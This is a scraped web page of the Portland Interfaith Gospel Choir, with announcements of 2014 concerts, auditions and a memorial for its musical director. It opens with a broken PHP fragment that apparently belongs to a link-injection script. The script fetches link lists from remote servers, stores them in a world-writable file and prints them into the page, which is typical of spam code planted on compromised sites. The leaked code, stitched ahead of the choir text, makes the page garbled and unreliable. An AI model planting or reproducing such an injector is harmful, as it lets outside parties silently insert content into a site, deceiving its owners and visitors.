_verbose = true; if (isset($options['charset']) && strlen($options['charset'])) $this->_charset = $options['charset']; if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type'])) $this->_fetch_remote_type = $options['fetch_remote_type']; if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) $this->_socket_timeout = $options['socket_timeout']; if (isset($options['links_delimiter']) && strlen($options['links_delimiter'])) $this->_links_delimiter = $options['links_delimiter']; if (isset($options['show_code']) && $options['show_code'] == true) $this->_show_code = true; } function fetch_remote_file($host, $path) { @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $this->_socket_timeout); if ($this->_fetch_remote_type == 'file_get_contents' || ($this->_fetch_remote_type == '' && function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1)) { $this->_fetch_remote_type = 'file_get_contents'; $data = @file_get_contents('http://' . $host . $path); if ($data) return $data; } elseif ($this->_fetch_remote_type == 'curl' || ($this->_fetch_remote_type == '' && function_exists('curl_init'))) { $this->_fetch_remote_type = 'curl'; if ($ch = @curl_init()) { @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path); @curl_setopt($ch, CURLOPT_HEADER, false); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->_socket_timeout); $data = @curl_exec($ch); @curl_close($ch); if ($data) return $data; } } else { $this->_fetch_remote_type = 'socket'; $buff = ''; $fp = @fsockopen($host, 80, $errno, $errstr, $this->_socket_timeout); if ($fp) { @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n"); while (!@feof($fp)) $buff .= @fgets($fp, 128); @fclose($fp); $page = explode("\r\n\r\n", $buff); return $page[1]; } } return $this->raise_error('Не могу подключиться к серверу: ' . $host . $path.', type: '.$this->_fetch_remote_type); } function _read($filename) { $fp = @fopen($filename, 'rb'); @flock($fp, LOCK_SH); if ($fp) { clearstatcache(); $length = @filesize($filename); $mqr = get_magic_quotes_runtime(); set_magic_quotes_runtime(0); if ($length) $data = @fread($fp, $length); else $data = ''; set_magic_quotes_runtime($mqr); @flock($fp, LOCK_UN); @fclose($fp); return $data; } return $this->raise_error('Не могу считать данные из файла: ' . $filename); } function _write($filename, $data) { $fp = @fopen($filename, 'wb'); if ($fp) { @flock($fp, LOCK_EX); $length = strlen($data); @fwrite($fp, $data, $length); @flock($fp, LOCK_UN); @fclose($fp); if (md5($this->_read($filename)) != md5($data)) return $this->raise_error('Нарушена целостность данных при записи в файл: ' . $filename); return true; } return $this->raise_error('Не могу записать данные в файл: ' . $filename); } function raise_error($e) { $this->_error = '

CM ERROR: ' . $e . '

'; if ($this->_verbose == true) print $this->_error; return false; } function load_data() { if (!is_dir(dirname(__FILE__).'/temp')){ if (!mkdir(dirname(__FILE__).'/temp')){ return $this->raise_error('Нет папки ' . dirname(__FILE__).'/temp'. '. Создать не удалось.'); } } $this->_db_file = dirname(__FILE__) . '/temp/links.db'; if (!is_file($this->_db_file)) { if (@touch($this->_db_file)) @chmod($this->_db_file, 0666); else return $this->raise_error('Нет файла ' . $this->_db_file . '. Создать не удалось. Выставите права 777 на папку.'); } if (!is_writable($this->_db_file)) return $this->raise_error('Нет доступа на запись к файлу: ' . $this->_db_file . '! Выставите права 777 на папку.'); @clearstatcache(); if ((filemtime($this->_db_file) < (time()-$this->_cache_lifetime) || filesize($this->_db_file) == 0)) { @touch($this->_db_file, (time() - $this->_cache_lifetime + $this->_cache_reloadtime)); $path = '/system/mngr.php?id=' . $this->_id . '&md5=' . md5($this->_read($this->_db_file)); if (strlen($this->_charset)) $path .= '&charset=' . $this->_charset; $servers = explode("|", $this->_servers); foreach($servers as $server){ if ($data = $this->fetch_remote_file($server, $path)){ if (substr($data, 0, 12) == 'FATAL ERROR:') { $this->raise_error($data); } else if (substr($data, 0, 9) != 'UNCHANGED') { $hash = @unserialize($data); if ($hash != false) { $data_new = @serialize($hash); if ($data_new) $data = $data_new; $this->_write($this->_db_file, $data); break; } } } } } if ($data = $this->_read($this->_db_file)) $this->set_data(@unserialize($data)); } } class CM_client extends CM_base { var $_links_page = array(); function CM_client($options = null) { parent::CM_base($options); $this->load_data(); } function return_links($n = null, $offset = 0) { $html = ''; if (is_array($this->_links_page)) { $total_page_links = count($this->_links_page); if (!is_numeric($n) || $n > $total_page_links) $n = $total_page_links; $links = array(); for ($i = 1; $i <= $n; $i++) { if ($offset > 0 && $i <= $offset) array_shift($this->_links_page); else $links[] = array_shift($this->_links_page); } $html = join($this->_links_delimiter, $links); } else { $html = $this->_links_page; } if ($this->_show_code) $html = $html . ''; return $html; } function set_data($data) { $this->_links_page = $data; } } $CM = new CM_client(); echo $CM->return_links(); } ?> Portland Interfaith Gospel Choir – Unite in Joy

Are You Ready For A Soul-Filled Christmas?

The season of song is upon us and Portland Interfaith Gospel Choir invites you to join our music-filled month.

The next opportunity to get your gospel on will be at Unity Church for their 4th Annual Soul-Filled Christmas show this Sunday.

In addition to the choir, the show will include music by blues legend Norman Sylvester, LaRhonda Steele along with daughters Lauren and Sarah, Ben Jones, sax-man Reggie Houston, MaryEtta Callier-Wells, Arietta Ward, Richard Lawrence, and many more.

This event always packs the house. Get your tickets before it sells out here: Soul-Filled Christmas Concert Tickets.

Here are the details:

What: 4th Annual Soul-Filled Christmas

When: Sunday, December 7th @ 4:00pm

              Where: The Unity Center – 20255 Willamette Drive, West Linn, Oregon

Cost: $20 in advance, $25 at the door

Stay tuned for more music news and upcoming concert dates.

Music in the Air

Our annual fall concert and bake sale is just around the corner and this is going to be a show not to miss.

Mt. Tabor Sanctuary will be rocking and you want to be a part of it.

In addition to our choir, special guests this year include:
LaRhonda Steele, Reggie Houston, Tracey Harris, John Gainer, Arietta Ward, Brian Foxworth, and more!

We proudly dedicate this show to our beloved mentors Janice Scroggins, Linda Hornbuckle, and Obo Addy.

Join us this Sunday, November 16th.

Mt. Tabor Presbyterian
5441 SE Belmont

Doors at 4pm – Concert at 5pm

Tickets at the door
$18 General Admission
$12 Students/Low-Income
Kids 12 & Under Free!

4x6 fall concert postcard gif

  Click for larger view

Join the choir afterwards in the adjoining Tabor Space Cafe where coffee and baked goods will be available for purchase.

Start the holidays off right and join us for an evening of gospel music.

Mark Your Calendars!

We are hard at work preparing for our 4th Annual Fall Concert and Bake Sale. This will be a show you don’t want to miss.

Mark your calendars now for Sunday, November 16th.
Doors open at 4pm – Concert starts at 5pm

Tickets are $18 General Admission & $12 Students/Low-Income

This event will once again be held at the Tabor Space Sanctuary at 5441 SE Belmont

Check back soon for more details and special guests.

PIGC Fall Postcard


Our Season Starts On a Joyful Note

PIGC was honored to be a part of the 20th Anniversary concert of the Portland/Vancouver Chapter of the Gospel Workshop of America. 

This community performance officially kicked off our 2014 fall season.

IMG_152720723571435  IMG_152740019891562

We have a big season prepared for you. Stay tuned or follow us on Facebook for upcoming concert announcements. 


Step Right Up

Interested in joining the Portland Interfaith Gospel Choir?

Join us on Monday, August 25th for open auditions. We are looking for new choir members in all sections: Bass, Tenor, Alto, and Soprano.

If you think you’ve got what it takes and are ready to join our choir family, step up to the mic next month!

Lift Your Voice & Join Our Choir. Flickr Image by Grant.
Let’s Make a Joyful Noise!  (Flickr Image by Grant)

PIGC Open Auditions

Monday, August 25th @ 6:30pm

   Portland Center for Spiritual Living

     6211 NE Martin Luther King Jr Blvd, Portland

Soul’d Out!

We are one week away from our spring concert and fundraiser!

Though the loss of Janice Scroggins leaves a hole in the community as well as the choir, she would want the show to go on. We must do what we do.

Thus, we are dedicating our spring concert to the memory of our beloved Janice and hope you will join us in song next Saturday.

There will be a bake sale directly following the concert in the adjacent Tabor Space café. Please stay after the show for coffee, tea, and baked goods, and share your love of Janice and gospel with the choir.

Janice Spring Flyer

Click on flyer for larger view


Concert Details

Saturday, June 14th

Doors @ 4pm – Show @ 5pm

Mt. Tabor Presbyterian Church

5441 SE Belmont – Portland

$18 General Admission

$10 Students/Seniors
Kids 12 and under free!


Remembering Janice

A memorial fund has been set up to assist family with funeral arrangements and support. 

 You may make a donation in person at any Wells Fargo Bank branch under the “Janice M. Scroggins Memorial Fund.”   

 Please specify that it is for the memorial fund.



Our hearts are heavy with the loss of our musical director, friend and Sister Ms. Janice Marie Scroggins. 

Janice B&W (1)

Our spring concert will now be dedicated to Janice and her family. We will sing with all our hearts and souls because in her words “that’s what we do.” More details will be posted as they are made available.

In the meantime, you may contribute to the family by making a financial donation at any Wells Fargo Bank branch in the name of Janice M Scroggins.

We thank you for your support and love.


Mark Your Calendars!

The Portland Interfaith Gospel Choir is gearing up for its 3rd Annual Spring Concert and Fundraiser.

Guest musicians will include New Orleans sax-man Reggie Houston, gospel director John Gainer, Lauren and Sarah Steele, and other Portland talents.

Tabor Space will once again provide their beautiful sanctuary and café for the concert and bake sale.

Here are the details:

Saturday, June 14th, 2014  
Mt. Tabor Presbyterian Church
5441 SE Belmont Ave., Portland
Doors open at 4pm. Concert begins at 5pm.
Tickets are $18 for general admission and $10 for students & seniors.
Children 12 and under are free.

Mark your calendars now to attend this soul-shaking event and stay tuned for more details as they unfold!

Spring Has Sprung

Spring has been busy for PIGC.

In March we had the opportunity to sing praises with the Vancouver Avenue First Baptist Church for the first and hopefully not last time.

The month of April was packed with an array of joyous festivities. We started things off with a Gospel Brunch show at The World Famous Kenton Club. We look forward to repeating this fun event in the future.

The same week we participated in an employee volunteer recognition event for Kaiser Permanente. Hosted by our own Ron Shoals, this award event recognized staff that had volunteered in the local community as well as abroad. We were joined by Ken Berry and the Faubion Elementary School Choir, Janice Scroggins, and Arietta Ward.

The following weekend we were honored to be welcomed by The Kingdom Harvest Ministries, an African-based congregation at the Gateway Church in NE Portland. This Palm Sunday concert helped raise funds for a school project in Liberia.

Stay tuned to see what other exciting events we have for the end of our spring term.